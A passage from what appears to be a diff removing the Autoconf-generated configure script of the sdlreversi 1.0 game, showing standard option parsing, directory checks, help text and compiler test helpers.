is that of the last command. - exit -} - - -# Determine whether it's possible to make 'echo' print without a newline. -# These variables are no longer used directly by Autoconf, but are AC_SUBSTed -# for compatibility with existing Makefiles. -ECHO_C= ECHO_N= ECHO_T= -case `echo -n x` in #((((( --n*) - case `echo 'xy\c'` in - *c*) ECHO_T=' ';; # ECHO_T is single tab character. - xy) ECHO_C='\c';; - *) echo `echo ksh88 bug on AIX 6.1` > /dev/null - ECHO_T=' ';; - esac;; -*) - ECHO_N='-n';; -esac - -# For backward compatibility with old third-party macros, we provide -# the shell variables $as_echo and $as_echo_n. New code should use -# AS_ECHO(["message"]) and AS_ECHO_N(["message"]), respectively. -as_echo='printf %s\n' -as_echo_n='printf %s' - - -rm -f conf$$ conf$$.exe conf$$.file -if test -d conf$$.dir; then - rm -f conf$$.dir/conf$$.file -else - rm -f conf$$.dir - mkdir conf$$.dir 2>/dev/null -fi -if (echo >conf$$.file) 2>/dev/null; then - if ln -s conf$$.file conf$$ 2>/dev/null; then - as_ln_s='ln -s' - # ... but there are two gotchas: - # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. - # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. - # In both cases, we have to default to `cp -pR'. - ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || - as_ln_s='cp -pR' - elif ln conf$$.file conf$$ 2>/dev/null; then - as_ln_s=ln - else - as_ln_s='cp -pR' - fi -else - as_ln_s='cp -pR' -fi -rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file -rmdir conf$$.dir 2>/dev/null - -if mkdir -p . 2>/dev/null; then - as_mkdir_p='mkdir -p "$as_dir"' -else - test -d ./-p && rmdir ./-p - as_mkdir_p=false -fi - -as_test_x='test -x' -as_executable_p=as_fn_executable_p - -# Sed expression to map a string onto a valid CPP name. -as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" - -# Sed expression to map a string onto a valid variable name. -as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" - - -test -n "$DJDIR" || exec 7<&0 &1 - -# Name of the host. -# hostname on some systems (SVR3.2, old GNU/Linux) returns a bogus exit status, -# so uname gets run too. -ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` - -# -# Initializations. -# -ac_default_prefix=/usr/local -ac_clean_files= -ac_config_libobj_dir=. -LIBOBJS= -cross_compiling=no -subdirs= -MFLAGS= -MAKEFLAGS= - -# Identity of this package. -PACKAGE_NAME='sdlreversi' -PACKAGE_TARNAME='sdlreversi' -PACKAGE_VERSION='1.0' -PACKAGE_STRING='sdlreversi 1.0' -PACKAGE_BUGREPORT='kspalaiologos@gmail.com' -PACKAGE_URL='' - -ac_prev= -ac_dashdash= -for ac_option -do - # If the previous option needs an argument, assign it. - if test -n "$ac_prev"; then - eval $ac_prev=\$ac_option - ac_prev= - continue - fi - - case $ac_option in - *=?*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; - *=) ac_optarg= ;; - *) ac_optarg=yes ;; - esac - - case $ac_dashdash$ac_option in - --) - ac_dashdash=yes ;; - - -bindir | --bindir | --bindi | --bind | --bin | --bi) - ac_prev=bindir ;; - -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) - bindir=$ac_optarg ;; - - -build | --build | --buil | --bui | --bu) - ac_prev=build_alias ;; - -build=* | --build=* | --buil=* | --bui=* | --bu=*) - build_alias=$ac_optarg ;; - - -cache-file | --cache-file | --cache-fil | --cache-fi \ - | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) - ac_prev=cache_file ;; - -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ - | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) - cache_file=$ac_optarg ;; - - --config-cache | -C) - cache_file=config.cache ;; - - -datadir | --datadir | --datadi | --datad) - ac_prev=datadir ;; - -datadir=* | --datadir=* | --datadi=* | --datad=*) - datadir=$ac_optarg ;; - - -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ - | --dataroo | --dataro | --datar) - ac_prev=datarootdir ;; - -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ - | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) - datarootdir=$ac_optarg ;; - - -disable-* | --disable-*) - ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` - # Reject names that are not valid shell variable names. - expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && - as_fn_error $? "invalid feature name: \`$ac_useropt'" - ac_useropt_orig=$ac_useropt - ac_useropt=`printf "%s\n" "$ac_useropt" | sed 's/[-+.]/_/g'` - case $ac_user_opts in - *" -"enable_$ac_useropt" -"*) ;; - *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" - ac_unrecognized_sep=', ';; - esac - eval enable_$ac_useropt=no ;; - - -docdir | --docdir | --docdi | --doc | --do) - ac_prev=docdir ;; - -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) - docdir=$ac_optarg ;; - - -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) - ac_prev=dvidir ;; - -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) - dvidir=$ac_optarg ;; - - -enable-* | --enable-*) - ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` - # Reject names that are not valid shell variable names. - expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && - as_fn_error $? "invalid feature name: \`$ac_useropt'" - ac_useropt_orig=$ac_useropt - ac_useropt=`printf "%s\n" "$ac_useropt" | sed 's/[-+.]/_/g'` - case $ac_user_opts in - *" -"enable_$ac_useropt" -"*) ;; - *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" - ac_unrecognized_sep=', ';; - esac - eval enable_$ac_useropt=\$ac_optarg ;; - - -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ - | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ - | --exec | --exe | --ex) - ac_prev=exec_prefix ;; - -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ - | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ - | --exec=* | --exe=* | --ex=*) - exec_prefix=$ac_optarg ;; - - -gas | --gas | --ga | --g) - # Obsolete; use --with-gas. - with_gas=yes ;; - - -help | --help | --hel | --he | -h) - ac_init_help=long ;; - -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) - ac_init_help=recursive ;; - -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) - ac_init_help=short ;; - - -host | --host | --hos | --ho) - ac_prev=host_alias ;; - -host=* | --host=* | --hos=* | --ho=*) - host_alias=$ac_optarg ;; - - -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) - ac_prev=htmldir ;; - -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ - | --ht=*) - htmldir=$ac_optarg ;; - - -includedir | --includedir | --includedi | --included | --include \ - | --includ | --inclu | --incl | --inc) - ac_prev=includedir ;; - -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ - | --includ=* | --inclu=* | --incl=* | --inc=*) - includedir=$ac_optarg ;; - - -infodir | --infodir | --infodi | --infod | --info | --inf) - ac_prev=infodir ;; - -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) - infodir=$ac_optarg ;; - - -libdir | --libdir | --libdi | --libd) - ac_prev=libdir ;; - -libdir=* | --libdir=* | --libdi=* | --libd=*) - libdir=$ac_optarg ;; - - -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ - | --libexe | --libex | --libe) - ac_prev=libexecdir ;; - -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ - | --libexe=* | --libex=* | --libe=*) - libexecdir=$ac_optarg ;; - - -localedir | --localedir | --localedi | --localed | --locale) - ac_prev=localedir ;; - -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) - localedir=$ac_optarg ;; - - -localstatedir | --localstatedir | --localstatedi | --localstated \ - | --localstate | --localstat | --localsta | --localst | --locals) - ac_prev=localstatedir ;; - -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ - | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) - localstatedir=$ac_optarg ;; - - -mandir | --mandir | --mandi | --mand | --man | --ma | --m) - ac_prev=mandir ;; - -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) - mandir=$ac_optarg ;; - - -nfp | --nfp | --nf) - # Obsolete; use --without-fp. - with_fp=no ;; - - -no-create | --no-create | --no-creat | --no-crea | --no-cre \ - | --no-cr | --no-c | -n) - no_create=yes ;; - - -no-recursion | --no-recursion | --no-recursio | --no-recursi \ - | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) - no_recursion=yes ;; - - -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ - | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ - | --oldin | --oldi | --old | --ol | --o) - ac_prev=oldincludedir ;; - -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ - | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ - | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) - oldincludedir=$ac_optarg ;; - - -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) - ac_prev=prefix ;; - -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) - prefix=$ac_optarg ;; - - -program-prefix | --program-prefix | --program-prefi | --program-pref \ - | --program-pre | --program-pr | --program-p) - ac_prev=program_prefix ;; - -program-prefix=* | --program-prefix=* | --program-prefi=* \ - | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) - program_prefix=$ac_optarg ;; - - -program-suffix | --program-suffix | --program-suffi | --program-suff \ - | --program-suf | --program-su | --program-s) - ac_prev=program_suffix ;; - -program-suffix=* | --program-suffix=* | --program-suffi=* \ - | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) - program_suffix=$ac_optarg ;; - - -program-transform-name | --program-transform-name \ - | --program-transform-nam | --program-transform-na \ - | --program-transform-n | --program-transform- \ - | --program-transform | --program-transfor \ - | --program-transfo | --program-transf \ - | --program-trans | --program-tran \ - | --progr-tra | --program-tr | --program-t) - ac_prev=program_transform_name ;; - -program-transform-name=* | --program-transform-name=* \ - | --program-transform-nam=* | --program-transform-na=* \ - | --program-transform-n=* | --program-transform-=* \ - | --program-transform=* | --program-transfor=* \ - | --program-transfo=* | --program-transf=* \ - | --program-trans=* | --program-tran=* \ - | --progr-tra=* | --program-tr=* | --program-t=*) - program_transform_name=$ac_optarg ;; - - -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) - ac_prev=pdfdir ;; - -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) - pdfdir=$ac_optarg ;; - - -psdir | --psdir | --psdi | --psd | --ps) - ac_prev=psdir ;; - -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) - psdir=$ac_optarg ;; - - -q | -quiet | --quiet | --quie | --qui | --qu | --q \ - | -silent | --silent | --silen | --sile | --sil) - silent=yes ;; - - -runstatedir | --runstatedir | --runstatedi | --runstated \ - | --runstate | --runstat | --runsta | --runst | --runs \ - | --run | --ru | --r) - ac_prev=runstatedir ;; - -runstatedir=* | --runstatedir=* | --runstatedi=* | --runstated=* \ - | --runstate=* | --runstat=* | --runsta=* | --runst=* | --runs=* \ - | --run=* | --ru=* | --r=*) - runstatedir=$ac_optarg ;; - - -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) - ac_prev=sbindir ;; - -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ - | --sbi=* | --sb=*) - sbindir=$ac_optarg ;; - - -sharedstatedir | --sharedstatedir | --sharedstatedi \ - | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ - | --sharedst | --shareds | --shared | --share | --shar \ - | --sha | --sh) - ac_prev=sharedstatedir ;; - -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ - | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ - | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ - | --sha=* | --sh=*) - sharedstatedir=$ac_optarg ;; - - -site | --site | --sit) - ac_prev=site ;; - -site=* | --site=* | --sit=*) - site=$ac_optarg ;; - - -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) - ac_prev=srcdir ;; - -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) - srcdir=$ac_optarg ;; - - -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ - | --syscon | --sysco | --sysc | --sys | --sy) - ac_prev=sysconfdir ;; - -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ - | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) - sysconfdir=$ac_optarg ;; - - -target | --target | --targe | --targ | --tar | --ta | --t) - ac_prev=target_alias ;; - -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) - target_alias=$ac_optarg ;; - - -v | -verbose | --verbose | --verbos | --verbo | --verb) - verbose=yes ;; - - -version | --version | --versio | --versi | --vers | -V) - ac_init_version=: ;; - - -with-* | --with-*) - ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` - # Reject names that are not valid shell variable names. - expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && - as_fn_error $? "invalid package name: \`$ac_useropt'" - ac_useropt_orig=$ac_useropt - ac_useropt=`printf "%s\n" "$ac_useropt" | sed 's/[-+.]/_/g'` - case $ac_user_opts in - *" -"with_$ac_useropt" -"*) ;; - *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--with-$ac_useropt_orig" - ac_unrecognized_sep=', ';; - esac - eval with_$ac_useropt=\$ac_optarg ;; - - -without-* | --without-*) - ac_useropt=`expr "x$ac_option" : 'x-*without-\(.*\)'` - # Reject names that are not valid shell variable names. - expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && - as_fn_error $? "invalid package name: \`$ac_useropt'" - ac_useropt_orig=$ac_useropt - ac_useropt=`printf "%s\n" "$ac_useropt" | sed 's/[-+.]/_/g'` - case $ac_user_opts in - *" -"with_$ac_useropt" -"*) ;; - *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" - ac_unrecognized_sep=', ';; - esac - eval with_$ac_useropt=no ;; - - --x) - # Obsolete; use --with-x. - with_x=yes ;; - - -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ - | --x-incl | --x-inc | --x-in | --x-i) - ac_prev=x_includes ;; - -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ - | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) - x_includes=$ac_optarg ;; - - -x-libraries | --x-libraries | --x-librarie | --x-librari \ - | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) - ac_prev=x_libraries ;; - -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ - | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) - x_libraries=$ac_optarg ;; - - -*) as_fn_error $? "unrecognized option: \`$ac_option' -Try \`$0 --help' for more information" - ;; - - *=*) - ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` - # Reject names that are not valid shell variable names. - case $ac_envvar in #( - '' | [0-9]* | *[!_$as_cr_alnum]* ) - as_fn_error $? "invalid variable name: \`$ac_envvar'" ;; - esac - eval $ac_envvar=\$ac_optarg - export $ac_envvar ;; - - *) - # FIXME: should be removed in autoconf 3.0. - printf "%s\n" "$as_me: WARNING: you should use --build, --host, --target" >&2 - expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && - printf "%s\n" "$as_me: WARNING: invalid host type: $ac_option" >&2 - : "${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option}" - ;; - - esac -done - -if test -n "$ac_prev"; then - ac_option=--`echo $ac_prev | sed 's/_/-/g'` - as_fn_error $? "missing argument to $ac_option" -fi - -if test -n "$ac_unrecognized_opts"; then - case $enable_option_checking in - no) ;; - fatal) as_fn_error $? "unrecognized options: $ac_unrecognized_opts" ;; - *) printf "%s\n" "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2 ;; - esac -fi - -# Check all directory arguments for consistency. -for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ - datadir sysconfdir sharedstatedir localstatedir includedir \ - oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ - libdir localedir mandir runstatedir -do - eval ac_val=\$$ac_var - # Remove trailing slashes. - case $ac_val in - */ ) - ac_val=`expr "X$ac_val" : 'X\(.*[^/]\)' \| "X$ac_val" : 'X\(.*\)'` - eval $ac_var=\$ac_val;; - esac - # Be sure to have absolute directory names. - case $ac_val in - [\\/$]* | ?:[\\/]* ) continue;; - NONE | '' ) case $ac_var in *prefix ) continue;; esac;; - esac - as_fn_error $? "expected an absolute directory name for --$ac_var: $ac_val" -done - -# There might be people who depend on the old broken behavior: `$host' -# used to hold the argument of --host etc. -# FIXME: To remove some day. -build=$build_alias -host=$host_alias -target=$target_alias - -# FIXME: To remove some day. -if test "x$host_alias" != x; then - if test "x$build_alias" = x; then - cross_compiling=maybe - elif test "x$build_alias" != "x$host_alias"; then - cross_compiling=yes - fi -fi - -ac_tool_prefix= -test -n "$host_alias" && ac_tool_prefix=$host_alias- - -test "$silent" = yes && exec 6>/dev/null - - -ac_pwd=`pwd` && test -n "$ac_pwd" && -ac_ls_di=`ls -di .` && -ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || - as_fn_error $? "working directory cannot be determined" -test "X$ac_ls_di" = "X$ac_pwd_ls_di" || - as_fn_error $? "pwd does not report name of working directory" - - -# Find the source files, if location was not specified. -if test -z "$srcdir"; then - ac_srcdir_defaulted=yes - # Try the directory containing this script, then the parent directory. - ac_confdir=`$as_dirname -- "$as_myself" || -$as_expr X"$as_myself" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ - X"$as_myself" : 'X\(//\)[^/]' \| \ - X"$as_myself" : 'X\(//\)$' \| \ - X"$as_myself" : 'X\(/\)' \| . 2>/dev/null || -printf "%s\n" X"$as_myself" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ - s//\1/ - q - } - /^X\(\/\/\)[^/].*/{ - s//\1/ - q - } - /^X\(\/\/\)$/{ - s//\1/ - q - } - /^X\(\/\).*/{ - s//\1/ - q - } - s/.*/./; q'` - srcdir=$ac_confdir - if test ! -r "$srcdir/$ac_unique_file"; then - srcdir=.. - fi -else - ac_srcdir_defaulted=no -fi -if test ! -r "$srcdir/$ac_unique_file"; then - test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." - as_fn_error $? "cannot find sources ($ac_unique_file) in $srcdir" -fi -ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" -ac_abs_confdir=`( - cd "$srcdir" && test -r "./$ac_unique_file" || as_fn_error $? "$ac_msg" - pwd)` -# When building in place, set srcdir=. -if test "$ac_abs_confdir" = "$ac_pwd"; then - srcdir=. -fi -# Remove unnecessary trailing slashes from srcdir. -# Double slashes in file names in object file debugging info -# mess up M-x gdb in Emacs. -case $srcdir in -*/) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; -esac -for ac_var in $ac_precious_vars; do - eval ac_env_${ac_var}_set=\${${ac_var}+set} - eval ac_env_${ac_var}_value=\$${ac_var} - eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} - eval ac_cv_env_${ac_var}_value=\$${ac_var} -done - -# -# Report the --help message. -# -if test "$ac_init_help" = "long"; then - # Omit some internal or obsolete options to make the list less imposing. - # This message is too long to be a string in the A/UX 3.1 sh. - cat <<_ACEOF -\`configure' configures sdlreversi 1.0 to adapt to many kinds of systems. - -Usage: $0 [OPTION]... [VAR=VALUE]... - -To assign environment variables (e.g., CC, CFLAGS...), specify them as -VAR=VALUE. See below for descriptions of some of the useful variables. - -Defaults for the options are specified in brackets. - -Configuration: - -h, --help display this help and exit - --help=short display options specific to this package - --help=recursive display the short help of all the included packages - -V, --version display version information and exit - -q, --quiet, --silent do not print \`checking ...' messages - --cache-file=FILE cache test results in FILE [disabled] - -C, --config-cache alias for \`--cache-file=config.cache' - -n, --no-create do not create output files - --srcdir=DIR find the sources in DIR [configure dir or \`..'] - -Installation directories: - --prefix=PREFIX install architecture-independent files in PREFIX - [$ac_default_prefix] - --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX - [PREFIX] - -By default, \`make install' will install all the files in -\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify -an installation prefix other than \`$ac_default_prefix' using \`--prefix', -for instance \`--prefix=\$HOME'. - -For better control, use the options below. - -Fine tuning of the installation directories: - --bindir=DIR user executables [EPREFIX/bin] - --sbindir=DIR system admin executables [EPREFIX/sbin] - --libexecdir=DIR program executables [EPREFIX/libexec] - --sysconfdir=DIR read-only single-machine data [PREFIX/etc] - --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] - --localstatedir=DIR modifiable single-machine data [PREFIX/var] - --runstatedir=DIR modifiable per-process data [LOCALSTATEDIR/run] - --libdir=DIR object code libraries [EPREFIX/lib] - --includedir=DIR C header files [PREFIX/include] - --oldincludedir=DIR C header files for non-gcc [/usr/include] - --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] - --datadir=DIR read-only architecture-independent data [DATAROOTDIR] - --infodir=DIR info documentation [DATAROOTDIR/info] - --localedir=DIR locale-dependent data [DATAROOTDIR/locale] - --mandir=DIR man documentation [DATAROOTDIR/man] - --docdir=DIR documentation root [DATAROOTDIR/doc/sdlreversi] - --htmldir=DIR html documentation [DOCDIR] - --dvidir=DIR dvi documentation [DOCDIR] - --pdfdir=DIR pdf documentation [DOCDIR] - --psdir=DIR ps documentation [DOCDIR] -_ACEOF - - cat <<\_ACEOF - -Program names: - --program-prefix=PREFIX prepend PREFIX to installed program names - --program-suffix=SUFFIX append SUFFIX to installed program names - --program-transform-name=PROGRAM run sed PROGRAM on installed program names -_ACEOF -fi - -if test -n "$ac_init_help"; then - case $ac_init_help in - short | recursive ) echo "Configuration of sdlreversi 1.0:";; - esac - cat <<\_ACEOF - -Optional Features: - --disable-option-checking ignore unrecognized --enable/--with options - --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) - --enable-FEATURE[=ARG] include FEATURE [ARG=yes] - --enable-silent-rules less verbose build output (undo: "make V=1") - --disable-silent-rules verbose build output (undo: "make V=0") - --enable-dependency-tracking - do not reject slow dependency extractors - --disable-dependency-tracking - speeds up one-time build - -Some influential environment variables: - CXX C++ compiler command - CXXFLAGS C++ compiler flags - LDFLAGS linker flags, e.g. -L if you have libraries in a - nonstandard directory - LIBS libraries to pass to the linker, e.g. -l - CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if - you have headers in a nonstandard directory - CC C compiler command - CFLAGS C compiler flags - -Use these variables to override the choices made by `configure' or to help -it to find libraries and programs with nonstandard names/locations. - -Report bugs to . -_ACEOF -ac_status=$? -fi - -if test "$ac_init_help" = "recursive"; then - # If there are subdirs, report their specific --help. - for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue - test -d "$ac_dir" || - { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || - continue - ac_builddir=. - -case "$ac_dir" in -.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; -*) - ac_dir_suffix=/`printf "%s\n" "$ac_dir" | sed 's|^\.[\\/]||'` - # A ".." for each directory in $ac_dir_suffix. - ac_top_builddir_sub=`printf "%s\n" "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` - case $ac_top_builddir_sub in - "") ac_top_builddir_sub=. ac_top_build_prefix= ;; - *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; - esac ;; -esac -ac_abs_top_builddir=$ac_pwd -ac_abs_builddir=$ac_pwd$ac_dir_suffix -# for backward compatibility: -ac_top_builddir=$ac_top_build_prefix - -case $srcdir in - .) # We are building in place. - ac_srcdir=. - ac_top_srcdir=$ac_top_builddir_sub - ac_abs_top_srcdir=$ac_pwd ;; - [\\/]* | ?:[\\/]* ) # Absolute name. - ac_srcdir=$srcdir$ac_dir_suffix; - ac_top_srcdir=$srcdir - ac_abs_top_srcdir=$srcdir ;; - *) # Relative name. - ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix - ac_top_srcdir=$ac_top_build_prefix$srcdir - ac_abs_top_srcdir=$ac_pwd/$srcdir ;; -esac -ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix - - cd "$ac_dir" || { ac_status=$?; continue; } - # Check for configure.gnu first; this name is used for a wrapper for - # Metaconfig's "Configure" on case-insensitive file systems. - if test -f "$ac_srcdir/configure.gnu"; then - echo && - $SHELL "$ac_srcdir/configure.gnu" --help=recursive - elif test -f "$ac_srcdir/configure"; then - echo && - $SHELL "$ac_srcdir/configure" --help=recursive - else - printf "%s\n" "$as_me: WARNING: no configuration information is in $ac_dir" >&2 - fi || ac_status=$? - cd "$ac_pwd" || { ac_status=$?; break; } - done -fi - -test -n "$ac_init_help" && exit $ac_status -if $ac_init_version; then - cat <<\_ACEOF -sdlreversi configure 1.0 -generated by GNU Autoconf 2.71 - -Copyright (C) 2021 Free Software Foundation, Inc. -This configure script is free software; the Free Software Foundation -gives unlimited permission to copy, distribute and modify it. - -Copyright (C) 2023 Kamila Szewczyk; licensed under the terms of the GNU GPLv3 license. -_ACEOF - exit -fi - -## ------------------------ ## -## Autoconf initialization. ## -## ------------------------ ## - -# ac_fn_cxx_try_compile LINENO -# ---------------------------- -# Try to compile conftest.$ac_ext, and return whether this succeeded. -ac_fn_cxx_try_compile () -{ - as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack - rm -f conftest.$ac_objext conftest.beam - if { { ac_try="$ac_compile" -case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_compile") 2>conftest.err - ac_status=$? - if test -s conftest.err; then - grep -v '^ *+' conftest.err >conftest.er1 - cat conftest.er1 >&5 - mv -f conftest.er1 conftest.err - fi - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; } && { - test -z "$ac_cxx_werror_flag" || - test ! -s conftest.err - } && test -s conftest.$ac_objext -then : - ac_retval=0 -else $as_nop - printf "%s\n" "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - ac_retval=1 -fi - eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno - as_fn_set_status $ac_retval - -} # ac_fn_cxx_try_compile - -# ac_fn_c_try_compile LINENO -# -------------------------- -# Try to compile conftest.$ac_ext, and return whether this succeeded. -ac_fn_c_try_compile () -{ - as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack - rm -f conftest.$ac_objext conftest.beam - if { { ac_try="$ac_compile" -case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_compile") 2>conftest.err - ac_status=$? - if test -s conftest.err; then - grep -v '^ *+' conftest.err >conftest.er1 - cat conftest.er1 >&5 - mv -f conftest.er1 conftest.err - fi - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; } && { - test -z "$ac_c_werror_flag" || - test ! -s conftest.err - } && test -s conftest.$ac_objext -then : - ac_retval=0 -else $as_nop - printf "%s\n" "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - ac_retval=1 -fi - eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno - as_fn_set_status $ac_retval - -} # ac_fn_c_try_compile - -# ac_fn_c_try_link LINENO -# ----------------------- -# Try to link conftest.$ac_ext, and return whether this succeeded. -ac_fn_c_try_link () -{ - as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack - rm -f conftest.$ac_objext conftest.beam conftest$ac_exeext - if { { ac_try="$ac_link" -case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -printf "%s\n" "$ac_try_echo"; } >&5 - (eval "$ac_link") 2>conftest.err - ac_status=$? - if test -s conftest.err; then - grep -v '^ *+' conftest.err >conftest.er1 - cat conftest.er1 >&5 - mv -f conftest.er1 conftest.err - fi - printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; } && { - test -z "$ac_c_werror_flag" || - test ! -s conftest.err 